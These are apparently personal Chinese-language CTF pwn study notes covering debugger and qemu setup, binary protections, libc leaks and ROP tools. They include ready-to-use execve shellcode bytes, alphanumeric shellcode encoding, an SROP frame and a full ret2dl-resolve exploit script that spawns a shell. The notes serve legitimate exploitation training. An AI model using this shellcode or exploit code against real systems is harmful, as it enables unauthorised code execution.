pwn学习笔记

常用函数系统调用号表

avatar
64位中execve为59

切换python版本

1
sudo update-alternatives --config python

工具安装

关于vmtools的安装
安装vmtools 进入vm disk 打开终端 cp ······.tzr.gz /opt 然后 cd /opt | tar -zxvf ····tar.gz ls cd ····disturb ./···.pl
在当前目录打开终端:sudo apt-get install nautilus-open-terminal
libcsearcher:

1
2
3
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
sudo python setup.py develop

libc在线网站:https://libc.blukat.me/
sftp:
使用sftp可以很方便的在window与虚拟机或者虚拟机与qemu虚拟机之间传输文件,

1
2
3
#首先使用ifconfig 查看主机的inet后的ip,并用whoami查看usename
#sftp username@ip连接
#get /home/pwn2/pwn2 /home/ 例子

pwndbg安装

1
2
3
4
sudo apt-get install python3.5
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
sudo ./setup.sh

peda安装

1
2
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

ubuntu换源

1
2
3
4
5
6
7
8
9
10
11
12
13
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
sudo gedit /etc/apt/sources.list
#添加清华源
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse multiverse
sudo apt-get update
sudo apt-get upgrade

mips环境搭建

qemu安装

1
2
3
sudo apt-get install qemu 
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system

qemu通网(系统模式)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo apt-get install uml-utilities bridge-utils
sudo apt-get install
sudo ifconfig ens33 down
sudo brctl addbr virbr0
sudo brctl addif virbr0 ens33
sudo brctl stp virbr0 off
sudo brctl setfd virbr0 1
sudo brctl sethello virbr0 1
sudo ifconfig virbr0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient virbr0

sudo tunctl -t tap0
sudo brctl addif virbr0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up

安装镜像与内核(根据文件大小端):https://people.debian.org/~aurel32/qemu/mipsel/
启动镜像

1
2
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
#上面最好用console = ttyS0

修改绑定连接

1
chroot . ./pwn2 #.表示当前目录,需要新建lib并把相关libc文件放到lib中

qemu用户模式+gdb-multiarch

1
2
3
4
5
6
7
8
cp $(which qemu-mipsel-static) /home/archer/pwn2/
sudo chroot . ./qemu-mipsel-static ./pwn2
sudo chroot . ./qemu-mipsel-static -g 54321 ./pwn2

gdb-multiarch pwn2
set arch mips
set endian little
target remote 127.0.0.1:54321

使用脚本调试mips

配置环境

1
2
3
4
5
sudo apt update
sudo apt install qemu-user libc6-mipsel-cross qemu-user-binfmt gdb-multiarch
sudo mkdir /etc/qemu-binfmt
sudo ln -s /usr/mipsel-linux-gnu /etc/qemu-binfmt/mipsel

检查路径

1
2
3
4
5
>>> from pwn import *
>>> pwnlib.qemu.user_path(arch='mips')
'qemu-mipsel'
>>> pwnlib.qemu.ld_prefix(arch='mips')
'/etc/qemu-binfmt/mipsel'

调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *#方法1
context.arch='mips'
sh=gdb.debug('./pwn')
payload='xxxxx'
sh.sendline(payload)
#方法2
from pwn import *

payload=b'\xca\xb2\xf0\x88\x0f&Z\xd3\x08L\xe1\x08qI\xa4\x16\x04\xd7<ar\x18 R\xe7\x00q\xd0\x84u\x1e\xad\xec\x1a\x08\xfe\xf8\xad\xe7\xab\x08\xabl9%\xb2e\xc4\xa4\xbc\x07r1_1_}R9D\xb7\x06\x05\xb4'
s=process(["qemu-mipsel","-g", "1234","-L","/usr/mipsel-linux-gnu/","./3348084723"])
pwnlib.qemu.user_path(arch='mips')
pwnlib.qemu.ld_prefix(arch='mips')
context.arch='mips'
context.log_level = 'debug'
#gdb.attach(s,'''b memset''')
#raw_input()
s.recvuntil("Faster >")
s.sendline(payload)
s.interactive()

libc

got表的基地址+libc.sym中对应函数的地址==got中的地址
elf=ELF(“./level3”)
libc=ELF(“./libc_32.so.6”)这两句是引入plt和got表以及symbols
write_plt=elf.plt[‘write’]
write_got=elf.got[‘write’]
/bin/sh的地址可以在libc_32.so.6中找,通过strings -a -t x libc_32.so.6 | grep “/bin/sh”或者libc.seach[‘/bin/sh’].next()
main函数plt和got表调用不了,只能通过elf.sym[‘main’]调用
这些为引入相应的函数
write=libc_base-libc.sym[‘write’]
关于plt表与got表的理解:
1.plt与got表的原理
通过调用plt表,可以跳转到got表,从而得到函数的真实地址,通过这种调用函数的方式可以提高效率,不用一次把所有函数都加载到程序中去
2.elf.got得到的只是got表的表地址,通过write函数等泄露出来的got表地址才是真实地址
libc=addr_got-obj.dump[‘对应函数’]
真实地址=libc+obj.dump[‘对应函数’]或者elf.sym[‘对应函数’]

gcc编译命令

1
gcc -fno-stack-protector -m32(默认64位) -z relro -no-pie rof.c -o 生成的可执行文件名

相关保护的开启与关闭

1
2
3
4
NX:-z execstack / -z noexecstack (关闭 / 开启)    不让执行栈上的数据,于是JMP ESP就不能用了
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息
PIE:-no-pie / -pie (关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 对GOT表具有写权限

checksec

关于checksec的各个保护机制
1.RELRO主要针对got改写的保护方式,full RELRO表示got表不可被改写,partial RELEO无plt指向的got表是只读的
2.stack-canary栈溢出保护(通过向栈中插入信息然后查看该信息是否被改写)
3.NX开启后栈中的数据没有执行权限,但是可以通过rop绕过
4.ASLR使运行时栈堆中的数据的加载地址以及共享库的加载地址随机化分为0,1,2三个等级,PIE则在编译时将程序编译为位置无关,即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定。
5.FORTIFY
加了这个保护之后,一些敏感函数如read, fgets,memcpy, printf等等可能
导致漏洞出现的函数都会被替换成__read_chk,__ fgets_chk, __ memcpy_chk, __ printf_chk等。
这些带了chk的函数会检查读取/复制的字节长度是否超过缓冲区长度,
通过检查诸如%n之类的字符串位置是否位于可能被用户修改的可写地址,
避免了格式化字符串跳过某些参数(如直接%7$x)等方式来避免漏洞出现。
开启了FORTIFY保护的程序会被checksec检出,此外,在反汇编时直接查看got表也会发现chk函数的存在

x86中,函数调用是直接将参数压栈,需要用的时候直接将参数放在栈上,调用的函数就能直接取得参数并运算,而x64中,参数多于6个才会用栈,依次是rdi,rsi,rdx,rcx,r8,r9

RELEO

为NO RELRO的时候,init.array、fini.array、got.plt均可读可写
为PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写
为FULL RELRO时,init.array、fini.array、got.plt均可读不可写。

ini.array与fini.array

当程序加载是会调用ini.array,结束时,调用fini.array,当fini.array可写时,可以通过改写成system、main等函数,
来劫持程序

ida

    db表示一个字节,dw表示2个字节,dd表示4个字节
    unk表示未处理字节,algn表示对齐指令,stru表示结构体或者结构体数组
    tbyte表示浮点数,80位(或扩展精度浮点数)
    dbl浮点数,64位(或双精度数组)
    flt表示浮点数据,32位(或浮点数组)
    qword数据,64位数据(或4字节数组)
    dword数据,32位数据(或双字数组)
    word数据,16位数据(或字数组)
    byte数,字节(或字节数组)
    asc数据ASCII字符串
    seg数据,包含段地址值
    off数据,包含偏移量
    loc指令
    locret返回指令
    sub指令和子函数起点
    load:
    .init
    .plt
    .text
    .fini
    .jcr
    .bss:通常指用来存放程序中未初始化的全局变量的一块区域
    .got
    .rodata:只读数据段
    .text:分析代码段
    .data:数据段

gdb调试:

r 可读 w 可写 x 可执行
si汇编层次的下一步,s源码层面的一步
b * (0x123456)给0x123456地址处的指令下断点 b+函数名字
ldd pwnme,查看libc文件的加载位置是否会变
echo 0 > /proc/sys/kernel/randomize_va_space,关闭整个系统的地址随机化保护。
layout asm打开汇编调试窗口

程序中存在fork的调试方式
在fork之前

1
2
set follow-fork-mode child 命令设置gdb在fork之后跟踪子进程。
set follow-fork-mode parent设置跟踪父进程。

关于x的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/nuf 0x123456 //常用,
x指令的格式是:x空格/nfu,nfu代表三个参数
n代表显示几个单元(而不是显示几个字节,后面的u表示一个单元多少个字节),放在'/'后面
u代表一个单元几个字节,b(一个字节),h(俩字节),w(四字节),g(八字节)
f代表显示数据的格式,f和u的顺序可以互换,也可以只有一个或者不带n,用的时候很灵活
x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十六进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
c 按字符格式显示变量。
f 按浮点数格式显示变量。
s 按字符串显示。
b 按字符显示。
i 显示汇编指令。
x /10gx 0x123456 //常用,从0x123456开始每个单元八个字节,十六进制显示是个单元的数据
x /10xd $rdi //从rdi指向的地址向后打印10个单元,每个单元4字节的十进制数
x /10i 0x123456 //常用,从0x123456处向后显示十条汇编指令

find+”字符串”
stack查看栈
canary直接看canary的值
backtrace
show args
vmmap 文件名查看程序映射的情况
打印指令p(print):

1
2
3
4
5
6
7
8
9


p fun_name #打印fun_name的地址,需要保留符号
p 0x10-0x08 #计算0x10-0x08的结果
p &a #查看变量a的地址
p * (0x123456) #查看0x123456地址的值,注意和x指令的区别,x指令查看地址的值不用星号
p $rdi #显示rdi寄存器的值,注意和x的区别,这只是显示rdi的值,而不是rdi指向的值
p * ($rdi) #显示rdi指向的值
p _IO_2_1_stdout_ #查看stdout的结构

关于peda的小技巧
通过pattern create + 长度 可以生成字符串
pattern offest + 栈顶的字符串可以显示偏移
不过最后4个或8个为ip
流程gdb ./pwn -> pattern create 200 -> start -> c -> 输入字符 ->pattern offest aaaa

在调试时关于gdb有个小技巧,如果在有源码的情况下,在编译生成可执行文件时,可以加入-ggdb选项
,这样在调试时,gdb附有源码方便调试

Dynelf模板:

p = remote(ip, port)
def leak(addr):
payload2leak_addr = “” + pack(addr) + “
p.send(payload2leak_addr)
data = p.recv(4)
return data
d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject)
system_addr = d.lookup(‘system’, ‘libc’)
read_add = d.lookup(‘read’,’libc’)

内存映射

在 ELF 内存映射时,bss 段会被映射两次,例如bss:600D21 aCtfHereSTheFla db ‘CTF{Here’,27h,’s the flag on server}’,0 可以看到0x600D21即为flag的地址,但是这里的flag后面会被程序覆盖 此时只能另一个地址来得到flag
gdb命令:vmmap smashes查看程序映射的情况

函数调用本质

关于函数指针的介绍http://c.biancheng.net/view/228.html
函数的调用:https://www.cnblogs.com/clover-toeic/p/3755401.html 这篇blog讲的非常好

大小端

小端与大端:
小端:
0x00 78
0x01 56
0x02 34
0x03 12
大端与小端相反

shellcode

shellcode编写:https://blog.csdn.net/qq_35495684/article/details/79583232
32位
“\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x00\x68\x2f\x62\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80”(25)
“\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80”(23)
64位
“\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05”
shellcode对应字节码,有时需要使用别的有效的字节码绕过:见buupwn中102.starctf_2019_babyshell

github

当使用github无法下载文件时,见https://www.cnblogs.com/july-sunny/p/13697156.html
github镜像网站:https://hub.fastgit.org
使用pwntools中的shellcraft生成shellcraft:
asm(shellcraft.sh())

bss/bin_ad

获得bss_addr
elf=ELF(‘./level3’) bss_addr=elf.bss()(无libc文件)
strings -a -t x libc_32.so.6 | grep “/bin/sh”

查看libc支持的版本

strings libc.so.6 | grep GLIBC

context

context设置context(os=’linux’, arch=’amd64’, log_level=’debug’)

read函数

原型
ssize_t read(int fd, void * buf, size_t count);
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000
size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓

mprotect

mprotect函数可以修改内存权限为可读可写可执行
原型
int mprotect(void * addr, size_t len, int prot);
addr 内存启始地址
len 修改内存的长度
prot 内存的权限为7可执行

关闭输出输出重定向

1
exec 1>&0

工具

ROPgadget使用

命令ROPgadget –binary 文件名 –only ‘汇编指令’ | grep ‘一定包含的内容’
寻找syscall;ret: ROPgadget –binary ./libc.so.6 –only “syscall|ret” | grep syscall
ROPgadget 查找字符串: ROPgadget –binary pwn –string ‘sh’
生成ROPchain
需要的库:from struct import pack
ROPgadget –binary pwn –ropchain
使用–opcode查找字节码(当使用–only找不到时):
ROPgadget –binary ./libc.so.6 –opcode 0f05c3
ROPgadget –binary 文件名 –only “pop|ret” | grep rdi

onegadget使用

one_gadget libc-2.23.so

ctf_all_in_one使用

先进入all_in_one的目录,然后cat list 可以查看可下载的libc
./download + cat list中的libc名 即可下载对应libc

LibcSearcher的使用:

from LibcSearcher import *
libc = LibcSearcher(“write”,write_addr)
libcbase = write_addr - libc.dump(‘write’)
system = libcbase + libc.dump(‘system’)
binsh = libcbase + libc.dump(‘str_bin_sh’)

pwntools-signalframe使用

1
2
3
4
5
6
frame=SigreturnFrame()#pwntools集成的srop工具
frame.rax = constants.SYS_execve
frame.rdi = sh_address
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

seccomp-tools使用

seccomp-tools可以查看程序禁用了那些系统调用,命令如下

1
seccomp-tools dump + ./文件名

官方文档:https://github.com/david942j/seccomp-tools

工具:算小数的16进制等:
http://www.binaryconvert.com/result_double.html?decimal=048046049

alpha3的使用:
作用:可打印shellcode
安装:git clone https://github.com/TaQini/alpha3.git
python ./ALPHA3.py x64 ascii mixedcase rax –input=”shellcode”
x64对应系统,rax对应取决于跳到shellcode的方式,比如rax
x86中:
x86 ascii uppercase (数字+大写字母)
x86 ascii lowercase (数字+小写字母)
x86 ascii mixedcase (数字+大小写字母)

AE64的使用:
作用:64位的alphga shellcode,更加灵活的使用寄存器
安装:git clone https://github.com/veritas501/ae64.git
例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./example1')

obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'r13')

p.sendline(sc)

p.interactive()

基础知识

无符号数和有符号数比较会转化为无符号数的比较,而-1能表示成很大的无符号数,有时能够通过
-1构造溢出

signed int 的范围:[-2147483648,2147483647]
signal相关知识
signal函数原型void(* signal(int sig,void(* func)(int)))(int);
sig为对应的信号,func函数则表示,当遇到sig的信号时,执行func函数

在64位中,当参数少于6个时,优先使用rdi,rsi,rdx,rcx,r8,r9几个寄存器保存参数。
不同的数据类型字节数

int:4B
char:1B
word:2B
Qword:8B
bup:1B
dp:1B
db:1B
dw:2B
dd:4B
dq:8B
dt:10B

argc:命令的条数
argv[]:输入的每条命令
argv[0]为程序的名称

学到一个小知识点,原来system中的参数为sh也能拿到权限,不一定非要/bin/sh
学到一个小技巧,在程序开启pie时,不太方便查看内存,可以通过输入字符串,然后通过在gdb中通过find命令,查找该字符串

32位系统调用与64位系统调用执行system
32位:
  传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器
  调用号:sys_read 的调用号 为 3 sys_write 的调用号 为 4 system 11
  调用方式: 使用 int 80h 中断进行系统调用

64位:
  传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器
  调用号:sys_read 的调用号 为 0 sys_write 的调用号 为 1
  stub_execve 的调用号 为 59 stub_rt_sigreturn 的调用号 为 15
  调用方式: 使用 syscall 进行系统调用
系统调用exceive(“/bin/sh\x00”,0,0)

orw和execve系统调用

64位中,sys_read 的调用号为0,sys_write 的调用号为1,sys_open的调用号为2,
在使用orw来获取flag时,需要注意read,write的参数,
原型是read/write(fd,ad,size);
fd为0时,表示stdin,1表示stout,2表示stderr
当使用fopen时,会创建一个文件描述符,当open调用完成之后rax会被设置为open返回的文件描述符,此时
read/write的文件描述符设置为open就能对文件进行操作
例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
int fd;
fd = open("./flag",O_RDONLY);
char c[100];
read(fd,c,0x100);
write(0,c,0x100);
close(fd);
return 0;
}

system系统调用:
当程序中缺少write函数等可以泄露libc的函数时,这时大概率需要使用系统调用,关于system系统调用的知识如下:
system系统调用号:11,存放在eax中
参数/bin/sh的地址,存放在ebx中
ecx:0
edx:0
int80(11,”/bin/sh”,null,null)

dup2 用来复制文件描述符:int dup2 (int oldfd,int newfd)
_ fileno 是用来规定 fd 所指向的文件流的,dup2(fd,666)将flag的fd改成了666,所以我们只要想办法把 stdin 的 _ fileno 改成 666 即可,这样在之后 scanf 就会将 fd == 666 (flag)的内容输入到 & v0 中,然后我们就可以输出 flag 的内容了

不同整数类型字节数

avatar

alarm

去除程序的alarm函数,以及alarm在某些题目中的作用
https://blog.csdn.net/A951860555/article/details/111214951

拟态

关于拟态,在pwn中拟态表示的是通过fork,同时开启32位以及64位的程序,监测输入,而要拿到权限
需要保证在32位和64位中都能拿到权限,并且输出也一样,例题buu 强网杯2019 拟态 STKOF

使用指定版本的libc运行/修改libc

pwntools

1
2
3
4
from pwn import *
libc_path = "/usr/local/libc/libc-2.23.so"
ld_path = "/usr/local/libc/ld-2.23.so"
p = process([ld_path, "./prog"], env={"LD_PRELOAD":libc_path})

终端

1
2
3
4
# 指定libc
LD_PRELOAD=/usr/local/libc/libc-2.23.so
# 使用对应的动态链接器运行程序
/usr/local/libc/ld-2.23.so ./prog

patch_elf

1
2
3
4
5
6
sudo patchelf --set-interpreter /home/hacker/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2 ./pwn
#/home/archer/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64
sudo patchelf --set-rpath /home/archer/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64 ./pwn
#设置gdb的debug
cp -r ~/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/.debug/ ./debug
set debug-file-directory debug/

汇编转字节码

先在.s文件中编写汇编指令,然后使用命令

1
2
gcc -m32 -c test.s
objdump -d test.o

或者
avatar

linux关闭pie

1
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

ret2dl_module

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import * 
context(os='linux',arch='amd64',log_level='debug')

#r = remote("82.157.6.165",55100)
r = process("./blind")
elf = ELF('./blind')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

read_plt = elf.plt['read']
read_got = elf.got['read']

bss = 0x601060#0x601060
bss_stage = bss + 0x100
l_addr = libc.sym['system'] -libc.sym['read']

pop_rdi = 0x4007c3#0x4007a3
pop_rsi = 0x4007c1#0x4007a1
plt_load = 0x400556#0x400506
'''
pop_rdi = 0x4007a3#0x4007a3
pop_rsi = 0x4007a1#0x4007a1
plt_load = 0x400506#0x400506
'''
#gdb.attach(r)
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):

linkmap = p64(offset & (2 ** 64 - 1))

linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)

linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)

linkmap += p64(0)


linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)

linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, read_got ,l_addr)

payload = flat( 'a' * 0x58 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 , read_plt ,
pop_rsi , 0 ,0 ,
pop_rdi , bss_stage + 0x48 , plt_load , bss_stage , 0
)
payload = payload.ljust(0x500,"\x00")
#fake_link_map = fake_link_map.ljust(0x500,"\x00")
r.send(payload)

r.send(fake_link_map)

r.interactive()

虚拟机恢复网络

1
2
3
sudo service network-manager stop
sudo rm /var/lib/NetworkManager/NetworkManager.state
sudo service network-manager start

python3+pwntools

安装

1
2
3
4
sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

使用p64等报错解决如下

1
payload += p64(rdi_addr)#.decode('iso-8859-15')

python2+pwntools

安装

1
2
3
4
5
apt-get install python2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py
sudo python2 get-pip.py
pip install pwntools
pip install pathlib2

使用docker调试pwn

在电脑连接上服务器后,如果使用python脚本调试pwn,会发现一个错误
报错:[ERROR] Could not find a terminal binary to use. Set context.terminal to your terminal
解决方式是使用tmux
安装tmux

1
apt-get install tmux

调试

1
2
tmux
python exp.py

需要在exp.py中加入如下语句

1
2
context.terminal = ['tmux','splitw','-h']
gdb.attach(proc.pidof(p)[0],gdbscript="b main")

进入tmux中翻页

1
crtl + b + [

pwn相关环境集成+docker

环境为ubuntu18.04

1
2
3
4
5
apt update
apt-get install vim git python python-pip ruby gdb
pip install --upgrade pip
pip install --upgrade virtualenv
pip install pwntools

pwntools设置程序运行的参数等

1
p = process(argv=['./sandbox',"./sandboxheap"])